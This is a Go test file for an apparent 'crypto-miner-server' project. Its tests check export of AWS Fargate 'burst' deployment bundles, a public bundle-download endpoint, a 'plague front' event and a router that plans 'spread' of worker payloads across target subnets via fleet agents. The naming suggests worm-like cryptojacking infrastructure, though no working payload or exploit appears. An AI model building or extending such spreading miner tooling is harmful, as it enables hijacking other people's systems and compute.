//go:build ignore package api import ( "archive/zip" "bytes" "net/http" "net/http/httptest" "os" "path/filepath" "strings" "testing" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/fargate" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" ) func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler, *erasure.ShardStore) { t.Helper() dir := t.TempDir() root := t.TempDir() database, err := dbpkg.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) buildDir := filepath.Join(dir, "builds", "fb1") _ = os.MkdirAll(buildDir, 0o755) artifact := filepath.Join(buildDir, "worker") _ = os.WriteFile(artifact, []byte("fargate-burst-payload-bytes"), 0o644) _ = database.InsertBuild(&models.BuildRecord{ID: "fb1", Platform: "linux", FileName: "worker", FilePath: artifact}) store := erasure.NewShardStore() hub := NewWSHub(database) deployH := NewDeployPlanHandler(database, dir, root, func() string { return "http://127.0.0.1:8989" }, func() string { return "fleet-test" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, ) deployH.BindErasureFromHub(hub, store) spreadH := NewSpreadHandler(database, dir, root, hub) spreadH.BindFargateDeps(func() string { return "http://127.0.0.1:8989" }, store) spreadH.BindDeployPlan(deployH) return spreadH, deployH, store } func TestExportFargateBurstZIP(t *testing.T) { spreadH, _, _ := testFargateBurstSpreadHandler(t) body := `{"server_url":"http://127.0.0.1:8989","build_id":"fb1","campaign":"burst-lab","ttl_hours":3}` req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/fargate-burst-export", strings.NewReader(body)) rec := httptest.NewRecorder() spreadH.ExportFargateBurst(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } zr, err := zip.NewReader(bytes.NewReader(rec.Body.Bytes()), int64(rec.Body.Len())) if err != nil { t.Fatal(err) } names := map[string]bool{} for _, f := range zr.File { names[f.Name] = true } for _, want := range []string{"task-definition.json", "run-task.sh", "erasure-shards.json"} { if !names[want] { t.Fatalf("missing %s in zip", want) } } } func TestFargateGenerateBundleFromBuild(t *testing.T) { _, deployH, store := testFargateBurstSpreadHandler(t) bundle, err := buildFargateBurstBundleFromBuild(deployH, store, "http://127.0.0.1:8989", "fb1", "burst", "linux", 3, 2) if err != nil { t.Fatal(err) } if len(bundle.TaskDefinitionJSON) == 0 || len(bundle.RunTaskScript) == 0 { t.Fatalf("bundle=%+v", bundle) } if !strings.Contains(string(bundle.TaskDefinitionJSON), "AF_SHARD_MANIFEST_B64") { t.Fatalf("task def missing manifest env: %s", bundle.TaskDefinitionJSON) } } func TestSyncFargateBurstCampaignEmitsSeerEvent(t *testing.T) { dir := t.TempDir() database, err := dbpkg.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) hub := NewWSHub(database) hub.SyncFargateBurstCampaign(true, "", 3) events, err := database.ListSeerEvents(5) if err != nil { t.Fatal(err) } found := false for _, ev := range events { if ev.EventType == "fargate_plague_front" { found = true break } } if !found { t.Fatal("expected fargate_plague_front seer event") } } func TestSpreadRouterPreferFargateWhenBurstActive(t *testing.T) { in := spreadrouter.Input{ TargetSubnets: []string{"10.4.0"}, FargateBurstActive: true, FleetAgents: []spreadrouter.FleetAgentSnapshot{ {AgentID: "seed", Subnet: "10.4.0", Clearance: 2, Connected: true}, }, } rt := spreadrouter.Build(in) rec, ok := rt.Recommend("10.4.0") if !ok || !rec.PreferFargateSeeder { t.Fatalf("rec=%+v ok=%v", rec, ok) } hint := spreadrouter.ToHint(rec) if hint == nil || !hint.PreferFargateSeeder { t.Fatalf("hint=%+v", hint) } } func TestFargateClampTTLHours(t *testing.T) { if fargate.ClampTTLHours(1) != 2 || fargate.ClampTTLHours(8) != 4 { t.Fatal("clamp failed") } } func TestFargateBurstPublicBundleZip(t *testing.T) { spreadH, _, _ := testFargateBurstSpreadHandler(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/public/fargate-burst/bundle.zip?pin=fb1&c=burst", nil) rec := httptest.NewRecorder() spreadH.FargateBurstBundleZip(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } }